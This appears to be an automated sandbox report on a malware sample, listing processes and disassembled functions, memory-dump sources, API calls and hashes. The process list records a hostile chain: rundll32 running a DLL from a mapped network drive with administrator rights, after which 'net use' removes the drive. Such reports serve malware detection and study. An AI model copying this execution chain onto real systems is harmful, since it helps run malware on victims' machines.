Imagebase:	0x720000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:44:03
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 200
Imagebase:	0x5a0000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:44:17
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\rundll32 V:\wq\~0.dll,14:44:03.56
Imagebase:	0x10000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:45:25
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	net use V: /d /y
Imagebase:	0x720000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 08450056 Relevance: 2.9, Strings: 2, Instructions: 383COMMON

Download Yara Rule

Strings

|!wk, xrefs: 08450322
|!wk, xrefs: 08450149

Memory Dump Source

Source File: 00000000.00000003.1749917357.0000000008450000.00000010.00000800.00020000.00000000.sdmp, Offset: 08450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_8450000_mshta.jbxd

Similarity

API ID:
String ID: |!wk$|!wk
API String ID: 0-411548237
Opcode ID: 7c48dafb63afb045e6cb5cf3b21561a901d026842fe439b9d2dfd35d8469fb10
Instruction ID: 6b674ff4f930118ea5063d617369e603300d841adca127022ff4cf51bf142d3d
Opcode Fuzzy Hash: 7c48dafb63afb045e6cb5cf3b21561a901d026842fe439b9d2dfd35d8469fb10
Instruction Fuzzy Hash: 87D12379A44B00DFDB24CF68C942B6DB7A6AB80306F14455FED56A7383C7B8D842C792

Function 0845127F Relevance: 2.8, Strings: 2, Instructions: 322COMMON

Download Yara Rule

Strings

|!wk, xrefs: 08451317
|!wk, xrefs: 08451443

Memory Dump Source

Source File: 00000000.00000003.1749858825.0000000008451000.00000010.00000800.00020000.00000000.sdmp, Offset: 08451000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_8451000_mshta.jbxd

Similarity

API ID:
String ID: |!wk$|!wk
API String ID: 0-411548237
Opcode ID: db80aad1864d5c59ce6dacdab95a8ed455d4c6e5cfee393438e4b582ab4b078a
Instruction ID: a48908e10ff57acc63d877df0eb5652af4bda9cf2ee4a3946db4d3b4af2f9da7
Opcode Fuzzy Hash: db80aad1864d5c59ce6dacdab95a8ed455d4c6e5cfee393438e4b582ab4b078a
Instruction Fuzzy Hash: 34B10A74B84301EBDB10CB68CC42B3EB796AB85756F14045AFD16AB743C778EC12C2A1

Function 06AF0FE7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1749948428.0000000006AF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6af0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction ID: 9ae6c46e05f27171f6e32b51842fa5327efcba87dc4663a0f160e819a049276a
Opcode Fuzzy Hash: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction Fuzzy Hash:

Function 06AF0FCF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1749948428.0000000006AF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6af0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction ID: 9ae6c46e05f27171f6e32b51842fa5327efcba87dc4663a0f160e819a049276a
Opcode Fuzzy Hash: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction Fuzzy Hash:

Function 06AF0FC7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1749948428.0000000006AF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6af0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction ID: 9ae6c46e05f27171f6e32b51842fa5327efcba87dc4663a0f160e819a049276a
Opcode Fuzzy Hash: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction Fuzzy Hash:

Function 06AF0FDF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1749948428.0000000006AF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6af0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction ID: 9ae6c46e05f27171f6e32b51842fa5327efcba87dc4663a0f160e819a049276a
Opcode Fuzzy Hash: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction Fuzzy Hash:

Function 06AF0FD7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1749948428.0000000006AF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6af0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction ID: 9ae6c46e05f27171f6e32b51842fa5327efcba87dc4663a0f160e819a049276a
Opcode Fuzzy Hash: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction Fuzzy Hash:

Analysis Process: rundll32.exePID: 8152, Parent PID: 7572COMMON

Execution Graph

Execution Coverage:	19.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	48.9%
Total number of Nodes:	47
Total number of Limit Nodes:	8

Executed Functions

Function 051C3510 Relevance: 6.9, APIs: 4, Instructions: 890
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?,-00000001,00000000,?,-00000001,00000001,-00000001,?,-00000001), ref: 051C3CC9
VirtualProtect.KERNELBASE(?,?,?,?), ref: 051C3CE6
VirtualProtect.KERNELBASE(?,?,?,?), ref: 051C3D0A
VirtualAlloc.KERNELBASE(?,?,?,?,00000000,-00000001,?,-00000001,00000000,00000000,?,00000000,000000FF,00000001,?,00000000), ref: 051C3E3F

Memory Dump Source

Source File: 0000000D.00000002.2196212949.00000000051C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_51c1000_rundll32.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: 519ecae662e5578c35f8b86074707da29f986dd6df50a9b1e16cdda2f1e50baa
Instruction ID: 7d2b06ebfa0793c1a62980f2c69fb53d40c187259ee28edb52fe2cba447b159e
Opcode Fuzzy Hash: 519ecae662e5578c35f8b86074707da29f986dd6df50a9b1e16cdda2f1e50baa
Instruction Fuzzy Hash: 5B82B576A006198FCB14CF69CC40AD9F7B2BFD9310F1985A9D819EB355DB30AA85CF80

Function 054A7D70 Relevance: 5.6, Strings: 1, Instructions: 4335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Zbl, xrefs: 054A81D0

Memory Dump Source

Source File: 0000000D.00000002.2196410921.00000000054A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 054A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_54a1000_rundll32.jbxd

Similarity

API ID:
String ID: Zbl
API String ID: 0-2376422946
Opcode ID: ef8c93c642137ada90150cdc6791cf949e5b07eeae5d4d6c9b7556567afde991
Instruction ID: e89a56b57fdf655f05bdad8f467a61aacee3561eb5e97694b7cfb8428bcb4426
Opcode Fuzzy Hash: ef8c93c642137ada90150cdc6791cf949e5b07eeae5d4d6c9b7556567afde991
Instruction Fuzzy Hash: AF732777B547114BD728CE69C8D13EAB3D3BBC8314F1A963E894ADB345DE74A8068680

Function 054B04E0 Relevance: 2.5, APIs: 1, Instructions: 951
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MapViewOfFile.KERNELBASE(?,?,?,?,?), ref: 054B1091

Memory Dump Source

Source File: 0000000D.00000002.2196410921.00000000054A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 054A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_54a1000_rundll32.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: c799e1cbcbe9b9c785149d9b0b62f19b859f36643b2a2c20bd5b4a668d01e7b2
Instruction ID: a01d06a14624493e37cc0c5a1baff2df86f29043af2005229aad216bc2cedfc9
Opcode Fuzzy Hash: c799e1cbcbe9b9c785149d9b0b62f19b859f36643b2a2c20bd5b4a668d01e7b2
Instruction Fuzzy Hash: 609226736047528FD324CF28C88069AB7E2FFD8304F198A6DD896DB795D774A906CB81

Function 054A6E36 Relevance: 1.7, APIs: 1, Instructions: 219
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocExNuma.KERNELBASE(?,?,?,?,?,?), ref: 054A6E6F

Memory Dump Source

Source File: 0000000D.00000002.2196410921.00000000054A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 054A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_54a1000_rundll32.jbxd

Similarity

API ID: AllocNumaVirtual
String ID:
API String ID: 4233825816-0
Opcode ID: 7b735d4ed4e4f9fbfa4931eee22cc9d5dc873bcb7712b2c93e285d21b4df6418
Instruction ID: 80336de89b9b78b4acdf85bb79626114aa2ec41ebae097812e7f17e58704998f
Opcode Fuzzy Hash: 7b735d4ed4e4f9fbfa4931eee22cc9d5dc873bcb7712b2c93e285d21b4df6418
Instruction Fuzzy Hash: AFA19D32609351CFD720CF19E880B9BF7E2BBD8314F158A2EE98997354D735A805CB52

Function 054B30AA Relevance: 1.7, APIs: 1, Instructions: 207
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateThreadEx.NTDLL(?,?,?,?,?,?), ref: 054B30E7

Memory Dump Source

Source File: 0000000D.00000002.2196410921.00000000054A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 054A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_54a1000_rundll32.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: fd5a63f74c7ad6127d29afa9413a3b9caa8c51aeff398c14a57228526caffcaf
Instruction ID: cb973f841589ea1e486069a3e9c4d3c87412a1dd8dbb426c251318cda33dc056
Opcode Fuzzy Hash: fd5a63f74c7ad6127d29afa9413a3b9caa8c51aeff398c14a57228526caffcaf
Instruction Fuzzy Hash: D3A19D366083518FD725DF18E840A9BB7E6BFC8314F198A2ED98997354D730B812CF82

Function 054A3D9F Relevance: 1.4, APIs: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 054A3DFF

Memory Dump Source

Source File: 0000000D.00000002.2196410921.00000000054A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 054A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_54a1000_rundll32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 0caa7521521358df7fc0f0045c7f778a896cd3101dca146ee2840148c6bd8a47
Instruction ID: a4b08f9bca64b0b7160c7ba8d22fba802af7525b4259f1a587d1865eb9234c99
Opcode Fuzzy Hash: 0caa7521521358df7fc0f0045c7f778a896cd3101dca146ee2840148c6bd8a47
Instruction Fuzzy Hash: AA91A1362083818FD769CF24D491BEABBE3BFD5314F1A8A6ED58A4B395D7306405CB42

Function 030E186E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 030E18C5
VirtualProtect.KERNELBASE ref: 030E1944

Strings

X, xrefs: 030E1B45

Memory Dump Source

Source File: 0000000D.00000002.2195834732.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30e0000_rundll32.jbxd

Similarity

API ID: ProtectVirtual
String ID: X
API String ID: 544645111-3081909835
Opcode ID: f260fdedcdf55e3d70455d164d7e4a6064e6fec537a29ab6175e7c255fe94974
Instruction ID: b6997d3695f01ddca942300086b38623ab61ed82d22ea9c7fc47d513f1b4a151
Opcode Fuzzy Hash: f260fdedcdf55e3d70455d164d7e4a6064e6fec537a29ab6175e7c255fe94974
Instruction Fuzzy Hash: A1519BB8E052088FDB18CF99C590A9DFBF1BF88310F25856AD919AB355D334A985CF80

Function 030E1971 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 94
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 030E1BD9

Strings

X, xrefs: 030E1B45

Memory Dump Source

Source File: 0000000D.00000002.2195834732.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30e0000_rundll32.jbxd

Similarity

API ID: ProtectVirtual
String ID: X
API String ID: 544645111-3081909835
Opcode ID: 2b821ca7d8583ae67abecf8d3490893be9ae951bd71ae1cf98f98bf762a96709
Instruction ID: eb80ea61dba86a4dce60462baa593f0562c46e76acd4d60b212045a18a01961a
Opcode Fuzzy Hash: 2b821ca7d8583ae67abecf8d3490893be9ae951bd71ae1cf98f98bf762a96709
Instruction Fuzzy Hash: CC417DB5E01628CFDB54CF48C980B99FBF1BF48310F1581AAC909AB355D735AA81CF91

Function 030E19A1 Relevance: 1.6, APIs: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 030E1BD9

Memory Dump Source

Source File: 0000000D.00000002.2195834732.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30e0000_rundll32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d7746e5b10be405cfb5148ec961b38cd0f5fc07bdbd86bb3661dd1977228ead1
Instruction ID: 54d12ba1fd6e39fdbfa44ef572dd7cd587256f2b57efaee1b1233651d8d87316
Opcode Fuzzy Hash: d7746e5b10be405cfb5148ec961b38cd0f5fc07bdbd86bb3661dd1977228ead1
Instruction Fuzzy Hash: 04415FB5E002288FEB64CF18C881B99BBB2BB49310F1581EAC94DA7355D7759E81CF51

Function 054A46EB Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(?,?,?,?,?), ref: 054A4742

Memory Dump Source

Source File: 0000000D.00000002.2196410921.00000000054A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 054A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_54a1000_rundll32.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: bc53f6951b65ae08e8e17d9786079c687fabf096bbd7a25af87952b7493ab3a8
Instruction ID: 820f8f27be89b9e859ea0711176215972719b86fb60cfcd87d64cb03936bb3b3
Opcode Fuzzy Hash: bc53f6951b65ae08e8e17d9786079c687fabf096bbd7a25af87952b7493ab3a8
Instruction Fuzzy Hash: 4F215C766483918FC772CF64D89079ABBE2BBC9300F16492ED9C597251D7306815DB82

Function 030E1BE9 Relevance: 1.3, APIs: 1, Instructions: 88
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 030E1C73

Memory Dump Source

Source File: 0000000D.00000002.2195834732.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_30e0000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 592074104cc9fa7807adcaca37743a0ae8a7f61f88446f2b11844939036d9c17
Instruction ID: bf55dc2dd1d4487f97b7f26ce7136bb5732b4dcd76ca8a7b347a4de3c7723ebb
Opcode Fuzzy Hash: 592074104cc9fa7807adcaca37743a0ae8a7f61f88446f2b11844939036d9c17
Instruction Fuzzy Hash: CF41F2B4A012068FCB48CF99C5947AAFBF0FF48304F1485AED859AB741D379A885CF95

Non-executed Functions

Function 051D1B2C Relevance: 17.4, Strings: 11, Instructions: 3642COMMON

Download Yara Rule

Strings

KV, xrefs: 051D3BDB
)<Nh, xrefs: 051D404D
+Rs=, xrefs: 051D4D9F
7Q, xrefs: 051D251B
KYC, xrefs: 051D1C0D
m5(', xrefs: 051D248F
viO, xrefs: 051D3487
jlyI, xrefs: 051D49AD
l59), xrefs: 051D4FC2
-f, xrefs: 051D303C
wE@U, xrefs: 051D4F9E

Memory Dump Source

Source File: 0000000D.00000002.2196212949.00000000051C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_51c1000_rundll32.jbxd

Similarity

API ID:
String ID: 7Q$)<Nh$+Rs=$KYC$jlyI$l59)$m5('$wE@U$-f$KV$viO
API String ID: 0-1668325200
Opcode ID: 8c6838b3eecd9c6975d0c8ed3a8cd8b5e5401a54f0ccd6305f6926ba1fa5d503
Instruction ID: c085e2d93c342d83d6235b9aebe470a26218d685c1be161e9e18d849a10ab777
Opcode Fuzzy Hash: 8c6838b3eecd9c6975d0c8ed3a8cd8b5e5401a54f0ccd6305f6926ba1fa5d503
Instruction Fuzzy Hash: 40935D7690022ACFCB64CF18D881AD9B7B2FF89314F2545D9D919AB354DB70AE85CF80

Function 051C8DDC Relevance: 11.0, Strings: 7, Instructions: 2263
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/D, xrefs: 051CB47D
Cmn, xrefs: 051C92E5
pi-, xrefs: 051CADC1
I8kr, xrefs: 051C983B
X>-, xrefs: 051CB24B
p6U:, xrefs: 051C95B0
2bQH, xrefs: 051C8FE8

Memory Dump Source

Source File: 0000000D.00000002.2196212949.00000000051C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_51c1000_rundll32.jbxd

Similarity

API ID:
String ID: /D$2bQH$Cmn$I8kr$X>-$pi-$p6U:
API String ID: 0-4158957489
Opcode ID: 9a421bd172ca4da92f40bca0aa4b1b671b794393453b533045be92fb858e8e26
Instruction ID: ad9b4478c7c6bdd574ee20501cf5f9dabbff9da6bfa61e4beba435b4176dadc3
Opcode Fuzzy Hash: 9a421bd172ca4da92f40bca0aa4b1b671b794393453b533045be92fb858e8e26
Instruction Fuzzy Hash: A5434E75A14229CFDB64CF18D881A99B7B2FF99314F2586D9D80DAB354DB306E81CF80

Function 051C79C0 Relevance: 8.6, Strings: 6, Instructions: 1060COMMON

Download Yara Rule

Strings

N^2y, xrefs: 051C8990
d5_=, xrefs: 051C7B49
/z.*, xrefs: 051C7B6D
|i(, xrefs: 051C8471
2IZ", xrefs: 051C7D9B
X2:h, xrefs: 051C7B77

Memory Dump Source

Source File: 0000000D.00000002.2196212949.00000000051C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_51c1000_rundll32.jbxd

Similarity

API ID:
String ID: /z.*$2IZ"$N^2y$X2:h$d5_=$|i(
API String ID: 0-2936750052
Opcode ID: 9453722c5b2ed69b0a655b8a1a9940042c8e372ceea95394caa78de2d2654bef
Instruction ID: 8b352bd44ddc7d41677a6894700351b4f45bd66bb716b04d827c5f43afe65c5f
Opcode Fuzzy Hash: 9453722c5b2ed69b0a655b8a1a9940042c8e372ceea95394caa78de2d2654bef
Instruction Fuzzy Hash: 9EC28C7690462ACBCB28CF14D8816D9BB72FF99314F2586D9D8492B354DB706E86CF80

Function 051CDC30 Relevance: 8.4, Strings: 4, Instructions: 3447COMMON

Download Yara Rule

Strings

MC, xrefs: 051CFCF8
4j!", xrefs: 051CFF6E
/`k, xrefs: 051CEC6A
`26, xrefs: 051CE449

Memory Dump Source

Source File: 0000000D.00000002.2196212949.00000000051C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_51c1000_rundll32.jbxd

Similarity

API ID:
String ID: /`k$4j!"$`26$MC
API String ID: 0-3056751938
Opcode ID: 34652f7dfe624fdcdb46de11cd88ab90ffb8fe4c6e256245ed816dbec03c2f26
Instruction ID: 4046abb4dd8ed5a01720aa45ea6039f76df8668b84c71c5f6ed703a752692112
Opcode Fuzzy Hash: 34652f7dfe624fdcdb46de11cd88ab90ffb8fe4c6e256245ed816dbec03c2f26
Instruction Fuzzy Hash: 15936A7990026ACFCB24CF18D880AD8B7B2FF99314F1546D9D949AB344DB71AE95CF80

Function 051C79B5 Relevance: 8.4, Strings: 6, Instructions: 866COMMON

Download Yara Rule

Strings

N^2y, xrefs: 051C8990
d5_=, xrefs: 051C7B49
/z.*, xrefs: 051C7B6D
|i(, xrefs: 051C8471
2IZ", xrefs: 051C7D9B
X2:h, xrefs: 051C7B77

Memory Dump Source

Source File: 0000000D.00000002.2196212949.00000000051C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_51c1000_rundll32.jbxd

Similarity

API ID:
String ID: /z.*$2IZ"$N^2y$X2:h$d5_=$|i(
API String ID: 0-2936750052
Opcode ID: 2f4721206007f7d77a2545898b1f220a531ad6e5b3dce189f7d68d4da1e89605
Instruction ID: 87efe91ee7bbb634779438598c84bf3e8b4679252e148329467bed5349b2bf8d
Opcode Fuzzy Hash: 2f4721206007f7d77a2545898b1f220a531ad6e5b3dce189f7d68d4da1e89605
Instruction Fuzzy Hash: 06A2AE7690462ACFCB28CF14D8916D9BB72FF99314F2586D9D8492B354CB706E86CF80

Function 051CB6D4 Relevance: 6.5, Strings: 4, Instructions: 1454COMMON

Download Yara Rule

Strings

Kb@, xrefs: 051CB919
SU^O, xrefs: 051CCBC1
7#Y", xrefs: 051CBCFF
-#n, xrefs: 051CC302

Memory Dump Source

Source File: 0000000D.00000002.2196212949.00000000051C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_51c1000_rundll32.jbxd

Similarity

API ID:
String ID: 7#Y"$SU^O$-#n$Kb@
API String ID: 0-3983465958
Opcode ID: b6c714adaa91b9ff81a836182839bf8aa5f2b87f79e53c1f3f6a2ca7a0ce6b37
Instruction ID: f1614182df3e330072e6f1a1baa0059ad4d1e117cf1ffe18facb1569ad4e2ad2
Opcode Fuzzy Hash: b6c714adaa91b9ff81a836182839bf8aa5f2b87f79e53c1f3f6a2ca7a0ce6b37
Instruction Fuzzy Hash: 6AF2AE7690062ACFCB28CF14D8916D9BBB2FF99314F1682D9D8496B354DB316E85CF80

Function 051C1000 Relevance: 3.8, Strings: 2, Instructions: 1325COMMON

Download Yara Rule

Strings

qc7B, xrefs: 051C1D75
J\eR, xrefs: 051C18B3

Memory Dump Source

Source File: 0000000D.00000002.2196212949.00000000051C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_51c1000_rundll32.jbxd

Similarity

API ID:
String ID: J\eR$qc7B
API String ID: 0-2456947404
Opcode ID: 578d523f8293b2ebc530cda6af52ede27115032f0211e3a50fe2ec0ab658362b
Instruction ID: f53ff19d89e6dcc66dd4417947ebeaeb72d23098d07c976e07f6e773054a72e6
Opcode Fuzzy Hash: 578d523f8293b2ebc530cda6af52ede27115032f0211e3a50fe2ec0ab658362b
Instruction Fuzzy Hash: 08E2B276A00229CFCB24CF18D8816D9B7B2FF99314F1586D9D849AB354DB31AE95CF80

Function 051C7090 Relevance: 3.0, Strings: 2, Instructions: 507COMMON

Download Yara Rule

Strings

eG&?, xrefs: 051C721F
uy, xrefs: 051C772D

Memory Dump Source

Source File: 0000000D.00000002.2196212949.00000000051C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_51c1000_rundll32.jbxd

Similarity

API ID:
String ID: eG&?$uy
API String ID: 0-1520495391
Opcode ID: 444cf4a4b8c0b42b25f2c1385c23e3a86594c89a927fa9d3a86abf6b2c61b035
Instruction ID: cb138afb1226b2b35dd65072c8b4dcbae65f8495849b43b2b87990ffdb290239
Opcode Fuzzy Hash: 444cf4a4b8c0b42b25f2c1385c23e3a86594c89a927fa9d3a86abf6b2c61b035
Instruction Fuzzy Hash: 2E42AC7691022ACFDB25CF58D881AD8BBB1FF59314F1546D9D849AB390DB70AE81CF80

Function 051C4290 Relevance: 2.1, Strings: 1, Instructions: 827COMMON

Download Yara Rule

Strings

w*L, xrefs: 051C4B65

Memory Dump Source

Source File: 0000000D.00000002.2196212949.00000000051C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_51c1000_rundll32.jbxd

Similarity

API ID:
String ID: w*L
API String ID: 0-502476752
Opcode ID: d63c099ff682e10bd43f26de5b133ecd1ecf68a95af23a9f9cd15f1adb87fd6a
Instruction ID: 81f727647c546d04aa3a7d0dab2cf86fd0a44f6d5818d60fb5d6cb4df4d5e090
Opcode Fuzzy Hash: d63c099ff682e10bd43f26de5b133ecd1ecf68a95af23a9f9cd15f1adb87fd6a
Instruction Fuzzy Hash: DD92BE76A04229CFCB29CF14D8916D8BBB6FF99310F1681D9D8496B354DB706E85CF80

Function 054AB5B0 Relevance: 1.9, Strings: 1, Instructions: 609COMMON

Download Yara Rule

Strings

959P, xrefs: 054ABC64

Memory Dump Source

Source File: 0000000D.00000002.2196410921.00000000054A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 054A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_54a1000_rundll32.jbxd

Similarity

API ID:
String ID: 959P
API String ID: 0-3945304834
Opcode ID: 5375eb5ecd163cbedf43264dfb5dce0fa92d60890497ca2417c6cac3af5ce1c2
Instruction ID: 89b8907151d253349102fb8974219a957b9f91f611a26cafbdb11013731fca5c
Opcode Fuzzy Hash: 5375eb5ecd163cbedf43264dfb5dce0fa92d60890497ca2417c6cac3af5ce1c2
Instruction Fuzzy Hash: 5442F973A087628FC724CF29D48069AF7E2FFD5314F1A8A6DD8959B385D734A805CB81

Function 051CD096 Relevance: 1.8, Strings: 1, Instructions: 584COMMON

Download Yara Rule

Strings

Hfb, xrefs: 051CD658

Memory Dump Source

Source File: 0000000D.00000002.2196212949.00000000051C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_51c1000_rundll32.jbxd

Similarity

API ID:
String ID: Hfb
API String ID: 0-4134704013
Opcode ID: 0a0d7e3b1420e34c75adc210db90cb83b17fcec6b06d121705dfb87659b13fd4
Instruction ID: 6e57894503329560696f3cb15f90a3460396cd2612370bcc42f778dee3533565
Opcode Fuzzy Hash: 0a0d7e3b1420e34c75adc210db90cb83b17fcec6b06d121705dfb87659b13fd4
Instruction Fuzzy Hash: E3629375A0121ACFCB29CF14D891AD9BBB2FF99310F2586D9D419AB354DB30AE85CF40

Function 054A7110 Relevance: .8, Instructions: 784COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2196410921.00000000054A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 054A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_54a1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
